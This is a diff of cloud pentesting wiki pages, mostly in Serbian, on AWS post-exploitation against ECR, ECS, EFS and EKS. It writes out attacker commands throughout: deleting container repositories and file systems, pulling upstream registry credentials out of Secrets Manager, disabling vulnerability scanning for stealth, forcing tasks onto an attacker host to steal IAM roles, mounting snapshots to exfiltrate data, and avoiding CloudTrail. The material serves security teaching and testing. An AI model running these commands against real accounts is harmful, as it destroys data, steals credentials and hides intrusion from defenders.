+Nakon preuzimanja images treba da ih **proverite zbog osetljivih informacija**:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
+
+Napadač sa bilo kojom od ovih dozvola može **kreirati ili izmeniti lifecycle policy kako bi obrisao sve images u repository-ju**, a zatim **izbrisati ceo ECR repository**. To bi rezultiralo gubitkom svih container images smeštenih u repository-ju.
+```bash
+# Create a JSON file with the malicious lifecycle policy
+echo '{
+"rules": [
+{
+"rulePriority": 1,
+"description": "Delete all images",
+"selection": {
+"tagStatus": "any",
+"countType": "imageCountMoreThan",
+"countNumber": 0
+},
+"action": {
+"type": "expire"
+}
+}
+]
+}' > malicious_policy.json
+
+# Apply the malicious lifecycle policy to the ECR repository
+aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
+
+# Delete the ECR repository
+aws ecr delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete the ECR public repository
+aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete multiple images from the ECR repository
+aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+
+# Delete multiple images from the ECR public repository
+aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Exfiltrate upstream registry credentials iz ECR Pull‑Through Cache (PTC)
+
+Ako je ECR Pull‑Through Cache konfigurisana za authenticated upstream registries (Docker Hub, GHCR, ACR, itd.), upstream credentials su sačuvane u AWS Secrets Manager sa predvidivim prefiksom imena: `ecr-pullthroughcache/`. Operateri ponekad dodeljuju ECR adminima širok Secrets Manager read access, što omogućava credential exfiltration i ponovno korišćenje van AWS.
+
+Zahtevi
+- secretsmanager:ListSecrets
+- secretsmanager:GetSecretValue
+
+Navedite potencijalne PTC secrets
+```bash
+aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
+--output text
+```
+Izdvoji pronađene tajne i parsiraj uobičajena polja
+```bash
+for s in $(aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
+aws secretsmanager get-secret-value --secret-id "$s" \
+--query SecretString --output text | tee /tmp/ptc_secret.json
+jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
+jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
+done
+```
+Opcionalno: proveriti leaked creds prema upstream (read‑only login)
+```bash
+echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
+```
+Impact
+- Čitanje ovih Secrets Manager unosa daje ponovo upotrebljive pristupne akredencijale za upstream registry (korisničko ime/lozinka ili token), koje se mogu zloupotrebiti van AWS za preuzimanje privatnih image-ova ili pristup dodatnim repozitorijumima u zavisnosti od upstream dozvola.
+
+
+### Neprimetnost na nivou registrija: onemogući ili snizi skeniranje putem `ecr:PutRegistryScanningConfiguration`
+
+Napadač sa ECR dozvolama na nivou registrija može tiho smanjiti ili onemogućiti automatsko skeniranje ranjivosti za SVE repozitorijume tako što će konfiguraciju skeniranja registrija postaviti na BASIC bez bilo kakvih scan-on-push rules. To sprečava da se novi image pushes automatski skeniraju, skrivajući ranjive ili maliciozne image-ove.
+
+Requirements
+- ecr:PutRegistryScanningConfiguration
+- ecr:GetRegistryScanningConfiguration
+- ecr:PutImageScanningConfiguration (optional, per‑repo)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
+
+Smanjenje na nivou celog registrija na ručni režim (bez automatskih skeniranja)
+```bash
+REGION=us-east-1
+# Read current config (save to restore later)
+aws ecr get-registry-scanning-configuration --region "$REGION"
+
+# Set BASIC scanning with no rules (results in MANUAL scanning only)
+aws ecr put-registry-scanning-configuration \
+--region "$REGION" \
+--scan-type BASIC \
+--rules '[]'
+```
+Testiraj sa repo i image
+```bash
+acct=$(aws sts get-caller-identity --query Account --output text)
+repo=ht-scan-stealth
+aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
+docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
+
+# Verify no scan ran automatically
+aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
+# Optional: will error with ScanNotFoundException if no scan exists
+aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
+```
+Opcionalno: dodatno degradirajte na nivou repozitorijuma
+```bash
+# Disable scan-on-push for a specific repository
+aws ecr put-image-scanning-configuration \
+--region "$REGION" \
+--repository-name "$repo" \
+--image-scanning-configuration scanOnPush=false
+```
+Uticaj
+- Novi push-evi image-ova kroz registar se ne skeniraju automatski, što smanjuje vidljivost ranjivog ili zlonamernog sadržaja i odlaže otkrivanje dok se ne pokrene ručno skeniranje.
+
+
+### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
+
+Smanjite kvalitet otkrivanja ranjivosti na nivou celog registra tako što ćete BASIC scan engine prebaciti sa podrazumevanog AWS_NATIVE na legacy CLAIR engine. Ovo ne onemogućava skeniranje, ali može značajno promeniti rezultate/pokrivenost. Kombinujte sa BASIC konfiguracijom skeniranja registra bez pravila kako biste učinili skeniranja samo ručnim.
+
+Requirements
+- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
+- (Opcionalno) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+
+Uticaj
+- Podešavanje registra `BASIC_SCAN_TYPE_VERSION` postavljeno na `CLAIR` tako da naredna BASIC skeniranja rade sa degradiranim engine-om. CloudTrail beleži `PutAccountSetting` API poziv.
+
+Steps
+```bash
+REGION=us-east-1
+
+# 1) Read current value so you can restore it later
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
+
+# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
+
+# 3) Verify the setting
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
+
+# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
+aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
+
+# 5) Restore to AWS_NATIVE when finished to avoid side effects
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
+```
+

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md

@@ -1,57 +0,0 @@
-# AWS - ECS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Za više informacija proverite:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Host IAM Roles
-
-U ECS, **IAM uloga može biti dodeljena zadatku** koji se izvršava unutar kontejnera. **Ako** se zadatak izvršava unutar **EC2** instance, **EC2 instanca** će imati **drugu IAM** ulogu pridruženu.\
-Što znači da ako uspete da **kompromitujete** ECS instancu, potencijalno možete **dobiti IAM ulogu povezanu sa ECR-om i sa EC2 instancom**. Za više informacija o tome kako dobiti te kredencijale, proverite:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-> [!CAUTION]
-> Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor PUT zahteva** će imati **hop limit od 1**, što onemogućava pristup EC2 metapodacima iz kontejnera unutar EC2 instance.
-
-### Privesc to node to steal other containers creds & secrets
-
-Ali pored toga, EC2 koristi docker za pokretanje ECs zadataka, tako da ako možete da pobegnete na čvor ili **pristupite docker socket-u**, možete **proveriti** koji se **drugi kontejneri** pokreću, i čak **ući u njih** i **ukrasti njihove IAM uloge**.
-
-#### Making containers run in current host
-
-Pored toga, **EC2 instanca uloga** obično će imati dovoljno **dozvola** da **ažurira stanje kontejnerske instance** EC2 instanci koje se koriste kao čvorovi unutar klastera. Napadač bi mogao da izmeni **stanje instance na DRAINING**, tada će ECS **ukloniti sve zadatke sa nje** i oni koji se izvršavaju kao **REPLICA** će biti **pokrenuti na drugoj instanci,** potencijalno unutar **napadačeve instance** tako da može **ukrasti njihove IAM uloge** i potencijalno osetljive informacije iz kontejnera.
-```bash
-aws ecs update-container-instances-state \
---cluster <cluster> --status DRAINING --container-instances <container-instance-id>
-```
-Ista tehnika se može primeniti **odjavljivanjem EC2 instance iz klastera**. Ovo je potencijalno manje prikriveno, ali će **prisiliti zadatke da se izvršavaju na drugim instancama:**
-```bash
-aws ecs deregister-container-instance \
---cluster <cluster> --container-instance <container-instance-id> --force
-```
-Zadnja tehnika za prisiljavanje ponovnog izvršavanja zadataka je da se ECS-u naznači da je **zadatak ili kontejner zaustavljen**. Postoje 3 potencijalne API-ja za to:
-```bash
-# Needs: ecs:SubmitTaskStateChange
-aws ecs submit-task-state-change --cluster <value> \
---status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-### Ukrao osetljive informacije iz ECR kontejnera
-
-EC2 instanca će verovatno imati dozvolu `ecr:GetAuthorizationToken` koja joj omogućava da **preuzme slike** (možete tražiti osetljive informacije u njima).
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md

@@ -0,0 +1,126 @@
+# AWS - ECS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Host IAM uloge
+
+U ECS-u se **IAM role može dodeliti task-u** koji se izvršava unutar containera. **Ako** se task izvršava unutar **EC2** instance, **EC2 instance** će imati pridruženu **drugu IAM** rolu.\
+Što znači da ako uspete da **kompromitujete** ECS instancu možete potencijalno **dobiti IAM rolu pridruženu ECR-u i EC2 instanci**. Za više informacija o tome kako dobiti te kredencijale pogledajte:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+> [!CAUTION]
+> Imajte na umu da ako EC2 instance primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), odgovor na **PUT request** će imati **hop limit od 1**, što onemogućava pristup EC2 metadata sa containera unutar EC2 instance.
+
+### Privesc to node to steal other containers creds & secrets
+
+But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
+
+#### Navođenje containera da se pokreću na trenutnom hostu
+
+Osim toga, **EC2 instance role** obično će imati dovoljno **permissions** da **update-uje container instance state** EC2 instanci koje se koriste kao nodes unutar klastera. Napadač bi mogao izmeniti **state instance na DRAINING**, nakon čega će ECS **ukloniti sve task-ove sa nje**, a oni koji se izvršavaju kao **REPLICA** biće **pokrenuti na drugoj instanci**, potencijalno na **napadačevoj instanci**, tako da on može **ukrasti njihove IAM role** i potencijalne osetljive informacije iz containera.
+```bash
+aws ecs update-container-instances-state \
+--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
+```
+Ista tehnika se može uraditi i putem **deregistering the EC2 instance from the cluster**. Ovo je potencijalno manje diskretno, ali će **force the tasks to be run in other instances:**
+```bash
+aws ecs deregister-container-instance \
+--cluster <cluster> --container-instance <container-instance-id> --force
+```
+Poslednja tehnika za forsiranje ponovnog izvršavanja tasks je da se ECS obavesti da je **task ili container zaustavljen**. Postoje 3 potencijalna API-ja za ovo:
+```bash
+# Needs: ecs:SubmitTaskStateChange
+aws ecs submit-task-state-change --cluster <value> \
+--status STOPPED --reason "anything" --containers [...]
+
+# Needs: ecs:SubmitContainerStateChange
+aws ecs submit-container-state-change ...
+
+# Needs: ecs:SubmitAttachmentStateChanges
+aws ecs submit-attachment-state-changes ...
+```
+### Ukradite osetljive informacije iz ECR containers
+
+The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **preuzimanje image-ova** (you could search for sensitive info in them).
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+### Montirajte EBS snapshot direktno u ECS task (configuredAtLaunch + volumeConfigurations)
+
+Iskoristite nativnu ECS EBS integraciju (2024+) da montirate sadržaj postojećeg EBS snapshot-a direktno unutar novog ECS task/service i pročitate njegove podatke iz containera.
+
+- Potrebno (minimum):
+- ecs:RegisterTaskDefinition
+- Jedno od: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- iam:PassRole na:
+- ECS infrastructure role koja se koristi za volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
+- Task execution/Task roles na koje task definition referencira
+- Ako je snapshot enkriptovan sa CMK: KMS dozvole za infra role (AWS managed policy iznad uključuje potrebne KMS grantove za AWS managed keys).
+
+- Uticaj: Čitanje proizvoljnog sadržaja diska iz snapshot-a (npr. fajlovi baze podataka) unutar containera i eksfiltracija preko mreže/logova.
+
+Koraci (primer Fargate):
+
+1) Kreirajte ECS infrastructure role (ako ne postoji) i prikačite managed policy:
+```bash
+aws iam create-role --role-name ecsInfrastructureRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsInfrastructureRole \
+--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
+```
+2) Registrujte task definiciju sa volumenom označenim kao `configuredAtLaunch` i montirajte ga u kontejner. Primer (ispiše tajnu pa zaspi):
+```json
+{
+"family": "ht-ebs-read",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
+"containerDefinitions": [
+{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["cat /loot/secret.txt || true; sleep 3600"],
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
+"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
+}
+],
+"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
+}
+```
+3) Kreirajte ili ažurirajte servis prosleđivanjem EBS snapshot-a preko `volumeConfigurations.managedEBSVolume` (zahteva iam:PassRole na infra roli). Primer:
+```json
+{
+"cluster": "ht-ecs-ebs",
+"serviceName": "ht-ebs-svc",
+"taskDefinition": "ht-ebs-read",
+"desiredCount": 1,
+"launchType": "FARGATE",
+"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
+"volumeConfigurations": [
+{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
+]
+}
+```
+4) Kada se zadatak pokrene, kontejner može da pročita sadržaj snapshot-a na konfigurisanoj tački montiranja (npr., `/loot`). Exfiltrate putem mreže/logova zadatka.
+
+Čišćenje:
+```bash
+aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
+aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
+aws ecs deregister-task-definition ht-ebs-read
+```
+

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md

@@ -1,46 +0,0 @@
-# AWS - EFS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Za više informacija pogledajte:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### `elasticfilesystem:DeleteMountTarget`
-
-Napadač bi mogao da obriše mount target, potencijalno ometajući pristup EFS fajl sistemu za aplikacije i korisnike koji se oslanjaju na taj mount target.
-```sql
-aws efs delete-mount-target --mount-target-id <value>
-```
-**Potencijalni uticaj**: Poremećaj pristupa sistemu datoteka i potencijalni gubitak podataka za korisnike ili aplikacije.
-
-### `elasticfilesystem:DeleteFileSystem`
-
-Napadač bi mogao da obriše čitav EFS sistem datoteka, što bi moglo dovesti do gubitka podataka i uticati na aplikacije koje se oslanjaju na sistem datoteka.
-```perl
-aws efs delete-file-system --file-system-id <value>
-```
-**Potencijalni uticaj**: Gubitak podataka i prekid usluge za aplikacije koje koriste obrisani sistem datoteka.
-
-### `elasticfilesystem:UpdateFileSystem`
-
-Napadač bi mogao da ažurira svojstva EFS sistema datoteka, kao što su način propusnosti, kako bi uticao na njegovu performansu ili izazvao iscrpljivanje resursa.
-```sql
-aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
-```
-**Potencijalni uticaj**: Smanjenje performansi fajl sistema ili iscrpljivanje resursa.
-
-### `elasticfilesystem:CreateAccessPoint` i `elasticfilesystem:DeleteAccessPoint`
-
-Napadač bi mogao da kreira ili obriše pristupne tačke, menjajući kontrolu pristupa i potencijalno sebi omogućavajući neovlašćen pristup fajl sistemu.
-```arduino
-aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
-aws efs delete-access-point --access-point-id <value>
-```
-**Potencijalni uticaj**: Neovlašćen pristup fajl sistemu, izlaganje ili modifikacija podataka.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md

@@ -0,0 +1,46 @@
+# AWS - EFS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### `elasticfilesystem:DeleteMountTarget`
+
+Napadač može obrisati mount target, što može ometati pristup EFS file system-u za aplikacije i korisnike koji zavise od tog mount target-a.
+```sql
+aws efs delete-mount-target --mount-target-id <value>
+```
+**Mogući uticaj**: Poremećaj pristupa sistemu datoteka i mogući gubitak podataka za korisnike ili aplikacije.
+
+### `elasticfilesystem:DeleteFileSystem`
+
+Napadač bi mogao izbrisati ceo EFS sistem datoteka, što bi moglo dovesti do gubitka podataka i uticati na aplikacije koje zavise od tog sistema datoteka.
+```perl
+aws efs delete-file-system --file-system-id <value>
+```
+**Potencijalni uticaj**: Gubitak podataka i prekid usluge za aplikacije koje koriste izbrisani datotečni sistem.
+
+### `elasticfilesystem:UpdateFileSystem`
+
+Napadač bi mogao ažurirati svojstva EFS datotečnog sistema, kao što je režim propusnosti, da bi uticao na njegove performanse ili prouzrokovao iscrpljivanje resursa.
+```sql
+aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
+```
+**Mogući uticaj**: Pogoršanje performansi datotečnog sistema ili iscrpljivanje resursa.
+
+### `elasticfilesystem:CreateAccessPoint` i `elasticfilesystem:DeleteAccessPoint`
+
+Napadač može kreirati ili obrisati pristupne tačke, menjajući kontrolu pristupa i potencijalno sebi obezbediti neovlašćen pristup datotečnom sistemu.
+```arduino
+aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
+aws efs delete-access-point --access-point-id <value>
+```
+**Potencijalni uticaj**: Neovlašćen pristup datotečnom sistemu, otkrivanje ili izmena podataka.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md

@@ -1,143 +0,0 @@
-# AWS - EKS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EKS
-
-Za više informacija proverite
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### Enumerate the cluster from the AWS Console
-
-Ako imate dozvolu **`eks:AccessKubernetesApi`** možete **videti Kubernetes objekte** putem AWS EKS konzole ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
-
-### Connect to AWS Kubernetes Cluster
-
-- Lako rešenje:
-```bash
-# Generate kubeconfig
-aws eks update-kubeconfig --name aws-eks-dev
-```
-- Nije tako lak način:
-
-Ako možete **dobiti token** sa **`aws eks get-token --name <cluster_name>`** ali nemate dozvole za dobijanje informacija o klasteru (describeCluster), možete **pripremiti svoj `~/.kube/config`**. Međutim, imajući token, još uvek vam je potrebna **url adresa za povezivanje** (ako ste uspeli da dobijete JWT token iz poda pročitajte [ovde](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) i **ime klastera**.
-
-U mom slučaju, nisam našao informacije u CloudWatch logovima, ali sam **pronašao u LaunchTemplates userData** i u **EC2 mašinama u userData takođe**. Ove informacije možete lako videti u **userData**, na primer u sledećem primeru (ime klastera je bilo cluster-name):
-```bash
-API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
-
-/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
-```
-<details>
-
-<summary>kube config</summary>
-```yaml
-describe-cache-parametersapiVersion: v1
-clusters:
-- cluster:
-certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
-server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-contexts:
-- context:
-cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-kind: Config
-preferences: {}
-users:
-- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user:
-exec:
-apiVersion: client.authentication.k8s.io/v1beta1
-args:
-- --region
-- us-west-2
-- --profile
-- <profile>
-- eks
-- get-token
-- --cluster-name
-- <cluster-name>
-command: aws
-env: null
-interactiveMode: IfAvailable
-provideClusterInfo: false
-```
-</details>
-
-### Od AWS do Kubernetes
-
-**Kreator** **EKS klastera** će **UVEK** moći da uđe u deo kubernetes klastera grupe **`system:masters`** (k8s admin). U trenutku pisanja ovog teksta **ne postoji direktan način** da se sazna **ko je kreirao** klaster (možete proveriti CloudTrail). I **ne postoji način** da se **ukloni** ta **privilegija**.
-
-Način da se dodeli **pristup više AWS IAM korisnicima ili rolama** je korišćenjem **configmap** **`aws-auth`**.
-
-> [!WARNING]
-> Stoga, svako ko ima **pristup za pisanje** preko config mapa **`aws-auth`** će moći da **kompromituje ceo klaster**.
-
-Za više informacija o tome kako da **dodelite dodatne privilegije IAM rolama i korisnicima** u **isto ili različitoj računu** i kako da **zloupotrebite** ovo da [**privesc proverite ovu stranicu**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
-
-Proverite takođe[ **ovaj sjajan**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post da saznate kako funkcioniše autentifikacija IAM -> Kubernetes**.
-
-### Od Kubernetes do AWS
-
-Moguće je omogućiti **OpenID autentifikaciju za kubernetes servisni nalog** da im omogući da preuzmu uloge u AWS-u. Saznajte kako [**to funkcioniše na ovoj stranici**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
-
-### DOBIJANJE Api Server Endpoint-a iz JWT Tokena
-
-Dekodiranjem JWT tokena dobijamo id klastera i takođe region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Znajući da je standardni format za EKS url
-```bash
-https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
-```
-Nisam pronašao nikakvu dokumentaciju koja objašnjava kriterijume za 'dva karaktera' i 'broj'. Ali, radeći neke testove u svoje ime, primetio sam da se ovi ponavljaju:
-
-- gr7
-- yl4
-
-U svakom slučaju, to su samo 3 karaktera koje možemo bruteforce-ovati. Koristite ispod navedeni skript za generisanje liste.
-```python
-from itertools import product
-from string import ascii_lowercase
-
-letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
-number_combinations = product('0123456789', repeat = 1)
-
-result = [
-f'{''.join(comb[0])}{comb[1][0]}'
-for comb in product(letter_combinations, number_combinations)
-]
-
-with open('out.txt', 'w') as f:
-f.write('\n'.join(result))
-```
-Zatim sa wfuzz
-```bash
-wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
-```
-> [!WARNING]
-> Zapamtite da zamenite & .
-
-### Bypass CloudTrail
-
-Ako napadač dobije akreditive AWS sa **dozvolama nad EKS**. Ako napadač konfiguriše svoj **`kubeconfig`** (bez pozivanja **`update-kubeconfig`**) kao što je objašnjeno ranije, **`get-token`** ne generiše logove u Cloudtrail-u jer ne komunicira sa AWS API-jem (samo kreira token lokalno).
-
-Dakle, kada napadač komunicira sa EKS klasterom, **cloudtrail neće zabeležiti ništa vezano za ukradenu korisničku sesiju i pristup**.
-
-Napomena da **EKS klaster može imati omogućene logove** koji će zabeležiti ovaj pristup (iako su po defaultu isključeni).
-
-### EKS Ransom?
-
